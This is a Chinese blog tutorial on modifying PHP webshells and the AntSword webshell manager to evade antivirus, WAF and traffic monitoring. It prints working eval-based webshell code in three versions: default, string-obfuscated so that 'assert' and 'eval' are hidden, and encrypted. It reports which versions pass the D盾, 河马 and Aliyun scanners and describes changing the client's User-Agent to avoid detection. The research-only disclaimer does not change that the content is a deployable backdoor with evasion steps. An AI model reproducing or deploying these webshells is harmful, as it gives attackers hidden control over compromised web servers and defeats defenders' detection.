php_webshell免杀--从0改造你的AntSword

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/10530.html

0x00 前言:

为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造⼀些弱特征,通过流量转换,跳过密钥交互。

但是,冰蝎需要反编译去改造源码,再进⾏修复bug,也⽐较复杂。⽽AntSword相对于冰蝎来说,不限制webshell,即⼀句话也可以进⾏连接,还可以⾃定义编码器和解码器,可以很容易让流量做到混淆。

0x01 蚁剑介绍及其改编

关于蚁剑的介绍,这⾥就不多说了,⼀个连接webshell的管理器,使⽤前端nodejs进⾏编码。AntSword给我最⼤的好处是可以连接⼀句话⽊⻢,⽽且可以⾃定义编码器和解码器。这让我们就有了很多种webshell的变换。

但是,蚁剑默认的编码器和菜⼑都是⼀样的,这⾥⽤burpsuite来进⾏抓包看下流量。

蚁剑默认流量

返回来的是默认蚁剑的默认流量,所以的话,这⾥就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进⾏流量的改造来进⾏waf的绕过,先选⽤Y默认的base64进⾏测试。

默认的base64编码器

但是看到了使⽤base 64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量⼀体机来进⾏特征的抓取,肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器

github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php

这⾥下载默认的aes128的默认流量。

这⾥进⾏流量抓取。⾥⾯⾃带了php的webshell。

 <?php
 @session_start();
 $pwd='ant';
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPE
 NSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
 ?>
默认webshell讲解
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。然后进行aes加密,密码为pwd

再D盾,河⻢和阿⾥云进⾏扫描:

河⻢没有查出来,可能是⽐较弱

阿⾥云直接报恶意

初步修改后的webshell:

这⾥先做代码修改,直接放出我修改之后的webshell代码。

 <?php
 @session_start();
 error_reporting(E_ALL^E_NOTICE^E_WARNING);
 function decode($key,$data){
 $data_new = '';
 for($i=0;$i<=strlen($data);$i++){
 $b=$data[$i]^$key;
 $data_new = $data_new.urldecode($b);
 }
 define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_
 new[11].strrev($data_new)[4].strrev($data_new)[0]);
 define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_n
 ew)[6].'($result)');
 return $data_new;
 }
 function decrypto($key,$data){
 $data = base64_decode($data);
 $result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPE
 NSSL_ZERO_PADDING);
 decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
 $ass=ass;
 $ass(ev);
 }
 class run{
    public $data;
    public function __construct(){
 $this->data = '#````````#'.$_POST[1]."#`#`#";
 $this->data = $this->data."123456";
 }
 }
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 $run = new run();
 decrypto($key,$run->data);
 ?>

这⾥能过去D盾的静态,但是⽆法绕过阿⾥云查杀。

所以这⾥还需要进⾏代码混淆。(这也是之后webshell免杀常常⽤到的)

混淆之后的webshell:

这⾥提供php在线加密的站 : https://enphp.djunny.com/

这⾥加密之后⽣成webshell。如下:

<?php
function decrypto($key, $data) {
    $data = base64_decode($data);
    $result = openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
    return str_replace(array('%3D', '%25', '%3F', '%3E', '%23', '%2A', '%3B', '%27', '%2C'), array('=', '%', '?', '>', '#', '*', ';', "'", ','), $result);
}

function decode($key, $data) {
    $data_new = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $b = $data[$i] ^ $key;
        $data_new .= urldecode($b);
    }
    return $data_new;
}

session_start();
$key = substr(str_pad(session_id(), 16, "a"), 0, 16);
$run = new run();
decrypto($key, $run->data);
?>

经过加密之后,可以发现,进⾏了goto的混淆,所以这⾥就达到了代码混淆。因为之前绕过了D盾和河⻢,这⾥直接去阿⾥云查杀。

已经成功绕过阿⾥云查杀。⽤burpsuite抓下流量特征。

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

蚁剑UA头的修改:

在burp的数据包中能清楚的看到蚁剑的特征

在目录/modules/request.js文件中修改UA头

/modules/update.js文件修改

0x02 总结

关于免杀来说,通常是进⾏代码加密混淆,特征码替换或者分割传输等情况。

相关推荐
网络研究院2 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
凉亭下2 小时前
android navigation 用法详细使用
android
小比卡丘5 小时前
C语言进阶版第17课—自定义类型:联合和枚举
android·java·c语言
前行的小黑炭6 小时前
一篇搞定Android 实现扫码支付:如何对接海外的第三方支付;项目中的真实经验分享;如何高效对接,高效开发
android
落落落sss7 小时前
MybatisPlus
android·java·开发语言·spring·tomcat·rabbitmq·mybatis
代码敲上天.8 小时前
数据库语句优化
android·数据库·adb
GEEKVIP10 小时前
手机使用技巧:8 个 Android 锁屏移除工具 [解锁 Android]
android·macos·ios·智能手机·电脑·手机·iphone
model200512 小时前
android + tflite 分类APP开发-2
android·分类·tflite
彭于晏68912 小时前
Android广播
android·java·开发语言
与衫13 小时前
掌握嵌套子查询:复杂 SQL 中 * 列的准确表列关系
android·javascript·sql